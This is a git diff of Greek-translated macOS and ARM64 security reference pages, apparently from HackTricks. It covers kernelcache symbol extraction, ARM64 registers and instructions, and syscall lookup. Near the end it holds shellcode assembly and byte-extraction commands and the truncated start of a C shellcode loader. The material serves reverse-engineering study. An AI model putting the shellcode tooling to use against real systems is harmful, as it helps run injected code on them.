Κάποιες φορές η Apple κυκλοφορεί **kernelcache** με **σύμβολα**. Μπορείτε να κατεβάσετε μερικά firmwares με σύμβολα ακολουθώντας τους συνδέσμους στο [https://theapplewiki.com](https://theapplewiki.com/).
|
||||||
|
@ -87,12 +89,15 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να ελέγξετε τα σύμβολα που εξήχθησαν από τον πυρήνα με: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
Μπορείτε να ελέγξετε τα σύμβολα που εξήχθησαν από τον πυρήνα με: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||||
|
|
||||||
Με αυτό τώρα μπορούμε **να εξάγουμε όλες τις επεκτάσεις** ή τη **μία που σας ενδιαφέρει:**
|
Με αυτό τώρα μπορούμε **να εξάγουμε όλες τις επεκτάσεις** ή τη **μία που σας ενδιαφέρει:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# List all extensions
|
# List all extensions
|
||||||
kextex -l kernelcache.release.iphone14.e
|
kextex -l kernelcache.release.iphone14.e
|
||||||
|
@ -105,6 +110,7 @@ kextex_all kernelcache.release.iphone14.e
|
||||||
# Check the extension for symbols
|
# Check the extension for symbols
|
||||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||||
```
|
```
|
||||||
|
|
||||||
## macOS Επεκτάσεις Πυρήνα
|
## macOS Επεκτάσεις Πυρήνα
|
||||||
|
|
||||||
Το macOS είναι **υπερβολικά περιοριστικό στο να φορτώσει Επεκτάσεις Πυρήνα** (.kext) λόγω των υψηλών προνομίων που θα εκτελεστεί ο κώδικας. Πράγματι, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί ένας τρόπος παράκαμψης).
|
Το macOS είναι **υπερβολικά περιοριστικό στο να φορτώσει Επεκτάσεις Πυρήνα** (.kext) λόγω των υψηλών προνομίων που θα εκτελεστεί ο κώδικας. Πράγματι, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί ένας τρόπος παράκαμψης).
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Εισαγωγή στο ARM64v8
|
# Introduction to ARM64v8
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -19,15 +19,22 @@
|
||||||
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαιρέσεων (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαιρέσεων, από EL0 έως EL3, το καθένα εξυπηρετώντας διαφορετικό σκοπό:
|
Στην αρχιτεκτονική ARMv8, τα επίπεδα εκτέλεσης, γνωστά ως Επίπεδα Εξαιρέσεων (ELs), καθορίζουν το επίπεδο προνομίων και τις δυνατότητες του περιβάλλοντος εκτέλεσης. Υπάρχουν τέσσερα επίπεδα εξαιρέσεων, από EL0 έως EL3, το καθένα εξυπηρετώντας διαφορετικό σκοπό:
|
||||||
|
|
||||||
1. **EL0 - Λειτουργία Χρήστη**:
|
1. **EL0 - Λειτουργία Χρήστη**:
|
||||||
|
|
||||||
* Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
|
* Αυτό είναι το επίπεδο με τα λιγότερα προνόμια και χρησιμοποιείται για την εκτέλεση κανονικού κώδικα εφαρμογών.
|
||||||
* Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες μεταξύ τους και από το λογισμικό συστήματος, βελτιώνοντας την ασφάλεια και τη σταθερότητα.
|
* Οι εφαρμογές που εκτελούνται στο EL0 είναι απομονωμένες μεταξύ τους και από το λογισμικό συστήματος, βελτιώνοντας την ασφάλεια και τη σταθερότητα.
|
||||||
|
|
||||||
2. **EL1 - Λειτουργικό Σύστημα Πυρήνα**:
|
2. **EL1 - Λειτουργικό Σύστημα Πυρήνα**:
|
||||||
|
|
||||||
* Οι περισσότεροι πυρήνες λειτουργικών συστημάτων τρέχουν σε αυτό το επίπεδο.
|
* Οι περισσότεροι πυρήνες λειτουργικών συστημάτων τρέχουν σε αυτό το επίπεδο.
|
||||||
* Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
|
* Το EL1 έχει περισσότερα προνόμια από το EL0 και μπορεί να έχει πρόσβαση σε πόρους συστήματος, αλλά με κάποιους περιορισμούς για να διασφαλιστεί η ακεραιότητα του συστήματος.
|
||||||
|
|
||||||
3. **EL2 - Λειτουργία Υπερτροφοδοτητή**:
|
3. **EL2 - Λειτουργία Υπερτροφοδοτητή**:
|
||||||
|
|
||||||
* Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερτροφοδοτητής που τρέχει στο EL2 μπορεί να διαχειριστεί πολλά λειτουργικά συστήματα (καθένα στο δικό του EL1) που τρέχουν στον ίδιο φυσικό υλικό.
|
* Αυτό το επίπεδο χρησιμοποιείται για εικονικοποίηση. Ένας υπερτροφοδοτητής που τρέχει στο EL2 μπορεί να διαχειριστεί πολλά λειτουργικά συστήματα (καθένα στο δικό του EL1) που τρέχουν στον ίδιο φυσικό υλικό.
|
||||||
* Το EL2 παρέχει χαρακτηριστικά για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.
|
* Το EL2 παρέχει χαρακτηριστικά για απομόνωση και έλεγχο των εικονικών περιβαλλόντων.
|
||||||
|
|
||||||
4. **EL3 - Λειτουργία Ασφαλούς Παρακολούθησης**:
|
4. **EL3 - Λειτουργία Ασφαλούς Παρακολούθησης**:
|
||||||
|
|
||||||
* Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και περιβάλλοντα εκτέλεσης που μπορούν να εμπιστευτούν.
|
* Αυτό είναι το πιο προνομιούχο επίπεδο και χρησιμοποιείται συχνά για ασφαλή εκκίνηση και περιβάλλοντα εκτέλεσης που μπορούν να εμπιστευτούν.
|
||||||
* Το EL3 μπορεί να διαχειριστεί και να ελέγξει τις προσβάσεις μεταξύ ασφαλών και μη-ασφαλών καταστάσεων (όπως ασφαλή εκκίνηση, αξιόπιστο λειτουργικό σύστημα κλπ.).
|
* Το EL3 μπορεί να διαχειριστεί και να ελέγξει τις προσβάσεις μεταξύ ασφαλών και μη-ασφαλών καταστάσεων (όπως ασφαλή εκκίνηση, αξιόπιστο λειτουργικό σύστημα κλπ.).
|
||||||
|
|
||||||
|
@ -38,15 +45,21 @@
|
||||||
Το ARM64 έχει **31 καταχωρητές γενικής χρήσης**, με ετικέτες `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια τιμή **64-bit** (8-byte). Για λειτουργίες που απαιτούν μόνο τιμές 32-bit, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε λειτουργία 32-bit χρησιμοποιώντας τα ονόματα w0 έως w30.
|
Το ARM64 έχει **31 καταχωρητές γενικής χρήσης**, με ετικέτες `x0` έως `x30`. Κάθε ένας μπορεί να αποθηκεύσει μια τιμή **64-bit** (8-byte). Για λειτουργίες που απαιτούν μόνο τιμές 32-bit, οι ίδιοι καταχωρητές μπορούν να προσπελαστούν σε λειτουργία 32-bit χρησιμοποιώντας τα ονόματα w0 έως w30.
|
||||||
|
|
||||||
1. **`x0`** έως **`x7`** - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μετάδοση παραμέτρων σε υπορουτίνες.
|
1. **`x0`** έως **`x7`** - Αυτοί χρησιμοποιούνται συνήθως ως καταχωρητές scratch και για τη μετάδοση παραμέτρων σε υπορουτίνες.
|
||||||
|
|
||||||
* Ο **`x0`** μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
|
* Ο **`x0`** μεταφέρει επίσης τα δεδομένα επιστροφής μιας συνάρτησης.
|
||||||
|
|
||||||
2. **`x8`** - Στον πυρήνα Linux, το `x8` χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή `svc`. **Στο macOS χρησιμοποιείται το x16!**
|
2. **`x8`** - Στον πυρήνα Linux, το `x8` χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή `svc`. **Στο macOS χρησιμοποιείται το x16!**
|
||||||
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.
|
3. **`x9`** έως **`x15`** - Περισσότεροι προσωρινοί καταχωρητές, συχνά χρησιμοποιούμενοι για τοπικές μεταβλητές.
|
||||||
4. **`x16`** και **`x17`** - **Καταχωρητές Κλήσης Εντός-Διαδικασίας**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για άμεσες κλήσεις συναρτήσεων και PLT (Procedure Linkage Table) stubs.
|
4. **`x16`** και **`x17`** - **Καταχωρητές Κλήσης Εντός-Διαδικασίας**. Προσωρινοί καταχωρητές για άμεσες τιμές. Χρησιμοποιούνται επίσης για άμεσες κλήσεις συναρτήσεων και PLT (Procedure Linkage Table) stubs.
|
||||||
|
|
||||||
* Το **`x16`** χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή **`svc`** στο **macOS**.
|
* Το **`x16`** χρησιμοποιείται ως ο αριθμός κλήσης συστήματος για την εντολή **`svc`** στο **macOS**.
|
||||||
|
|
||||||
5. **`x18`** - **Καταχωρητής Πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι κρατημένος για πλατφορμοεξαρτημένες χρήσεις: Δείκτης προς το τρέχον τμήμα περιβάλλοντος νήματος στα Windows, ή για να δείχνει τη δομή της τρέχουσας εργασίας στον πυρήνα του πυρήνα Linux.
|
5. **`x18`** - **Καταχωρητής Πλατφόρμας**. Μπορεί να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης, αλλά σε ορισμένες πλατφόρμες, αυτός ο καταχωρητής είναι κρατημένος για πλατφορμοεξαρτημένες χρήσεις: Δείκτης προς το τρέχον τμήμα περιβάλλοντος νήματος στα Windows, ή για να δείχνει τη δομή της τρέχουσας εργασίας στον πυρήνα του πυρήνα Linux.
|
||||||
6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που αποθηκεύονται από τον καλούμενο σε μια συνάρτηση. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα της, έτσι αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
|
6. **`x19`** έως **`x28`** - Αυτοί είναι καταχωρητές που αποθηκεύονται από τον καλούμενο σε μια συνάρτηση. Μια συνάρτηση πρέπει να διατηρεί τις τιμές αυτών των καταχωρητών για τον καλούντα της, έτσι αποθηκεύονται στη στοίβα και ανακτώνται πριν επιστρέψουν στον καλούντα.
|
||||||
7. **`x29`** - **Δείκτης Πλαισίου** για να παρακολουθεί το πλαίσιο στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής **`x29`** αποθηκεύεται στη στοίβα και η νέα διεύθυνση πλαισίου (**διεύθυνση `sp`**) αποθηκεύεται σε αυτόν τον καταχωρητή.
|
7. **`x29`** - **Δείκτης Πλαισίου** για να παρακολουθεί το πλαίσιο στοίβας. Όταν δημιουργείται ένα νέο πλαίσιο στοίβας επειδή καλείται μια συνάρτηση, ο καταχωρητής **`x29`** αποθηκεύεται στη στοίβα και η νέα διεύθυνση πλαισίου (**διεύθυνση `sp`**) αποθηκεύεται σε αυτόν τον καταχωρητή.
|
||||||
|
|
||||||
* Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλη
|
* Αυτός ο καταχωρητής μπορεί επίσης να χρησιμοποιηθεί ως καταχωρητής γενικής χρήσης αν και συνήθως χρησιμοποιείται ως αναφορά σε τοπικές μεταβλη
|
||||||
|
|
||||||
### Καταχωρητές Συστήματος
|
### Καταχωρητές Συστήματος
|
||||||
|
|
||||||
**Υπάρχουν εκατοντάδες καταχωρητές συστήματος**, επίσης ονομάζονται καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για την **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
|
**Υπάρχουν εκατοντάδες καταχωρητές συστήματος**, επίσης ονομάζονται καταχωρητές ειδικού σκοπού (SPRs), που χρησιμοποιούνται για την **παρακολούθηση** και **έλεγχο** της συμπεριφοράς των **επεξεργαστών**.\
|
||||||
|
@ -97,7 +110,8 @@
|
||||||
|
|
||||||
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
Η Swift έχει τη δική της **σύμβαση κλήσης** που μπορεί να βρεθεί στο [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||||
|
|
||||||
## **Κοινές
|
## \*\*Κοινές
|
||||||
|
|
||||||
* Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
* Σύνταξη: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||||
* Xn1 -> Προορισμός
|
* Xn1 -> Προορισμός
|
||||||
* Xn2 -> Τελεστής 1
|
* Xn2 -> Τελεστής 1
|
||||||
|
@ -165,7 +179,7 @@
|
||||||
* `csneg Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = - Xm
|
* `csneg Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = Xn, αν είναι ψευδές, Xd = - Xm
|
||||||
* `cneg Xd, Xn, cond` -> Αν είναι αληθές, Xd = - Xn, αν είναι ψευδές, Xd = Xn
|
* `cneg Xd, Xn, cond` -> Αν είναι αληθές, Xd = - Xn, αν είναι ψευδές, Xd = Xn
|
||||||
* `cset Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = 1, αν είναι ψευδές, Xd = 0
|
* `cset Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = 1, αν είναι ψευδές, Xd = 0
|
||||||
* `csetm Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = \<όλα 1>, αν είναι ψευδές, Xd = 0
|
* `csetm Xd, Xn, Xm, cond` -> Αν είναι αληθές, Xd = <όλα 1>, αν είναι ψευδές, Xd = 0
|
||||||
* **`adrp`**: Υπολογίζει τη **διεύθυνση σελίδας ενός συμβόλου** και την αποθηκεύει σε έναν καταχωρητή.
|
* **`adrp`**: Υπολογίζει τη **διεύθυνση σελίδας ενός συμβόλου** και την αποθηκεύει σε έναν καταχωρητή.
|
||||||
* Παράδειγμα: `adrp x0, symbol` — Αυτό υπολογίζει τη διεύθυνση σελίδας του `symbol` και την αποθηκεύει στο `x0`.
|
* Παράδειγμα: `adrp x0, symbol` — Αυτό υπολογίζει τη διεύθυνση σελίδας του `symbol` και την αποθηκεύει στο `x0`.
|
||||||
* **`ldrsw`**: **Φορτώνει** μια μεταγενέστερη **32-μπιτη** τιμή από τη μνήμη και **επεκτείνει το πρόσημό της σε 64** bits.
|
* **`ldrsw`**: **Φορτώνει** μια μεταγενέστερη **32-μπιτη** τιμή από τη μνήμη και **επεκτείνει το πρόσημό της σε 64** bits.
|
||||||
|
@ -173,7 +187,7 @@
|
||||||
* **`stur`**: **Αποθηκεύει μια τιμή καταχωρητή σε μια θέση μνήμης**, χρησιμοποιώντας ένα μετατόπιση από έναν άλλο καταχωρητή.
|
* **`stur`**: **Αποθηκεύει μια τιμή καταχωρητή σε μια θέση μνήμης**, χρησιμοποιώντας ένα μετατόπιση από έναν άλλο καταχωρητή.
|
||||||
* Παράδειγμα: `stur x0, [x1, #4]` — Αυτό αποθηκεύει την τιμή στο `x0` στη θέση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που βρίσκεται επί του παρόντος στο `x1`.
|
* Παράδειγμα: `stur x0, [x1, #4]` — Αυτό αποθηκεύει την τιμή στο `x0` στη θέση μνήμης που είναι 4 bytes μεγαλύτερη από τη διεύθυνση που βρίσκεται επί του παρόντος στο `x1`.
|
||||||
* **`svc`** : Κάνει μια **κλήση συστήματος**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **μεταβαίνει από τη λειτουργία χρήστη στη λειτουργία πυρήνα** και μεταβαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού κλήσης συστήματος του πυρήνα.
|
* **`svc`** : Κάνει μια **κλήση συστήματος**. Σημαίνει "Supervisor Call". Όταν ο επεξεργαστής εκτελεί αυτή την εντολή, **μεταβαίνει από τη λειτουργία χρήστη στη λειτουργία πυρήνα** και μεταβαίνει σε μια συγκεκριμένη τοποθεσία στη μνήμη όπου βρίσκεται ο κώδικας χειρισμού κλήσης συστήματος του πυρήνα.
|
||||||
* Παράδειγμα:
|
* Παράδειγμα:
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
mov x8, 93 ; Φορτώνει τον αριθμό κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
|
mov x8, 93 ; Φορτώνει τον αριθμό κλήσης συστήματος για έξοδο (93) στον καταχωρητή x8.
|
||||||
|
@ -217,6 +231,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||||
Αυτό ορίζεται κατά τη διάρκεια των **εντολών αλλαγής κλάδου interworking,** αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως το register προορισμού. Παράδειγμα:
|
Αυτό ορίζεται κατά τη διάρκεια των **εντολών αλλαγής κλάδου interworking,** αλλά μπορεί επίσης να οριστεί απευθείας με άλλες εντολές όταν το PC ορίζεται ως το register προορισμού. Παράδειγμα:
|
||||||
|
|
||||||
Άλλο ένα παράδειγμα:
|
Άλλο ένα παράδειγμα:
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
_start:
|
_start:
|
||||||
.code 32 ; Begin using A32
|
.code 32 ; Begin using A32
|
||||||
|
@ -227,6 +242,7 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
||||||
mov r0, #0
|
mov r0, #0
|
||||||
mov r0, #8
|
mov r0, #8
|
||||||
```
|
```
|
||||||
|
|
||||||
### Καταχωρητές
|
### Καταχωρητές
|
||||||
|
|
||||||
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). **Από τον r0 έως τον r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο κάποιοι από αυτούς συνήθως είναι κρατημένοι:
|
Υπάρχουν 16 καταχωρητές 32-bit (r0-r15). **Από τον r0 έως τον r14** μπορούν να χρησιμοποιηθούν για **οποιαδήποτε λειτουργία**, ωστόσο κάποιοι από αυτούς συνήθως είναι κρατημένοι:
|
||||||
|
@ -255,7 +271,7 @@ mov r0, #8
|
||||||
|
|
||||||
* Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως και στο AArch64)
|
* Οι σημαίες **`N`**, **`Z`**, **`C`**, **`V`** (όπως και στο AArch64)
|
||||||
* Η σημαία **`Q`**: Τίθεται σε 1 όταν συμβαίνει **κορεσμός ακεραιών** κατά την εκτέλεση μιας εξειδικευμένης αριθμητικής εντολής κορεσμού. Μόλις τεθεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να τεθεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που ελέγχει την τιμή της ρητά, πρέπει να γίνει ανάγνωση της χειροκίνητα.
|
* Η σημαία **`Q`**: Τίθεται σε 1 όταν συμβαίνει **κορεσμός ακεραιών** κατά την εκτέλεση μιας εξειδικευμένης αριθμητικής εντολής κορεσμού. Μόλις τεθεί σε **`1`**, θα διατηρήσει την τιμή μέχρι να τεθεί χειροκίνητα σε 0. Επιπλέον, δεν υπάρχει καμία εντολή που ελέγχει την τιμή της ρητά, πρέπει να γίνει ανάγνωση της χειροκίνητα.
|
||||||
* **`GE`** (Μεγαλύτερο από ή ίσο με) Σημαίες: Χρησιμοποιούνται σε λειτουργίες SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα), όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μια μόνο εντολή.
|
* **`GE`** (Μεγαλύτερο από ή ίσο με) Σημαίες: Χρησιμοποιούνται σε λειτουργίες SIMD (Μοναδική Εντολή, Πολλαπλά Δεδομένα), όπως "παράλληλη πρόσθεση" και "παράλληλη αφαίρεση". Αυτές οι λειτουργίες επιτρέπουν την επεξεργασία πολλαπλών σημείων δεδομένων σε μια μόνο εντολή.
|
||||||
|
|
||||||
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερα ζεύγη bytes** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν καταχωρητή 32-bit. Στη συνέχεια **τίθεται οι `GE` σημαίες στο `APSR`** βάσει αυτών των αποτελεσμάτων. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχείλισε**.
|
Για παράδειγμα, η εντολή **`UADD8`** **προσθέτει τέσσερα ζεύγη bytes** (από δύο 32-bit τελεστές) παράλληλα και αποθηκεύει τα αποτελέσματα σε έναν καταχωρητή 32-bit. Στη συνέχεια **τίθεται οι `GE` σημαίες στο `APSR`** βάσει αυτών των αποτελεσμάτων. Κάθε σημαία GE αντιστοιχεί σε μία από τις προσθέσεις byte, υποδεικνύοντας αν η πρόσθεση για αυτό το ζεύγος byte **υπερχείλισε**.
|
||||||
|
|
||||||
|
@ -271,6 +287,7 @@ mov r0, #8
|
||||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν το **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονες αποτυχίες**. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά **Αιτήσεις Διακοπών** (IRQs). και το F σχετίζεται με τις **Γρήγορες Αιτήσεις Διακοπών** (FIRs).
|
* **`AIF`**: Ορισμένες εξαιρέσεις μπορούν να απενεργοποιηθούν χρησιμοποιώντας τα bits **`A`**, `I`, `F`. Αν το **`A`** είναι 1 σημαίνει ότι θα προκληθούν **ασύγχρονες αποτυχίες**. Το **`I`** ρυθμίζει την ανταπόκριση σε εξωτερικά υλικά **Αιτήσεις Διακοπών** (IRQs). και το F σχετίζεται με τις **Γρήγορες Αιτήσεις Διακοπών** (FIRs).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# macOS
|
# macOS
|
||||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||||
|
@ -278,7 +295,6 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||||
# iOS
|
# iOS
|
||||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποκωδικοποιημένο** κώδικα από το **`libsystem_kernel.dylib`** **από** τον έλεγχο του **πηγαίου κώδικα** επειδή ο κώδικας πολλών κλήσεων συστήματος (BSD και Mach) δημιουργείται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
|
Μερικές φορές είναι πιο εύκολο να ελέγξετε τον **αποκωδικοποιημένο** κώδικα από το **`libsystem_kernel.dylib`** **από** τον έλεγχο του **πηγαίου κώδικα** επειδή ο κώδικας πολλών κλήσεων συστήματος (BSD και Mach) δημιουργείται μέσω scripts (ελέγξτε τα σχόλια στον πηγαίο κώδικα), ενώ στο dylib μπορείτε να βρείτε τι καλείται.
|
||||||
|
@ -305,6 +321,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
||||||
* x2... -> Υπόλοιπα ορίσματα της κληθείσας μεθόδου
|
* x2... -> Υπόλοιπα ορίσματα της κληθείσας μεθόδου
|
||||||
|
|
||||||
Έτσι, αν τοποθετήσετε ένα σημείο ανακοπής πριν από την κλήση αυτής της συνάρτησης, μπορείτε εύκολα να βρείτε τι κλήθηκε στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από `NSConcreteTask` που θα εκτελέσει μια εντολή):
|
Έτσι, αν τοποθετήσετε ένα σημείο ανακοπής πριν από την κλήση αυτής της συνάρτησης, μπορείτε εύκολα να βρείτε τι κλήθηκε στο lldb με (σε αυτό το παράδειγμα το αντικείμενο καλεί ένα αντικείμενο από `NSConcreteTask` που θα εκτελέσει μια εντολή):
|
||||||
|
|
||||||
```
|
```
|
||||||
(lldb) po $x0
|
(lldb) po $x0
|
||||||
<NSConcreteTask: 0x1052308e0>
|
<NSConcreteTask: 0x1052308e0>
|
||||||
|
@ -321,9 +338,11 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
||||||
whoami
|
whoami
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Shellcodes
|
### Shellcodes
|
||||||
|
|
||||||
Για να μεταγλωτίσετε:
|
Για να μεταγλωτίσετε:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
as -o shell.o shell.s
|
as -o shell.o shell.s
|
||||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||||
|
@ -331,69 +350,55 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
||||||
# You could also use this
|
# You could also use this
|
||||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να εξάγετε τα bytes:
|
Για να εξάγετε τα bytes:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||||
echo -n '\\x'$c
|
echo -n '\\x'$c
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Κώδικας C για να δοκιμάσετε το shellcode</summary>
|
<summary>Κώδικας C για να δοκιμάσετε το shellcode</summary>
|
||||||
```c
|
|
||||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
|
||||||
// gcc loader.c -o loader
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
int (*sc)();
|
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||||
|
|
||||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
int (\*sc)();
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
char shellcode\[] = "";
|
||||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
|
||||||
|
|
||||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
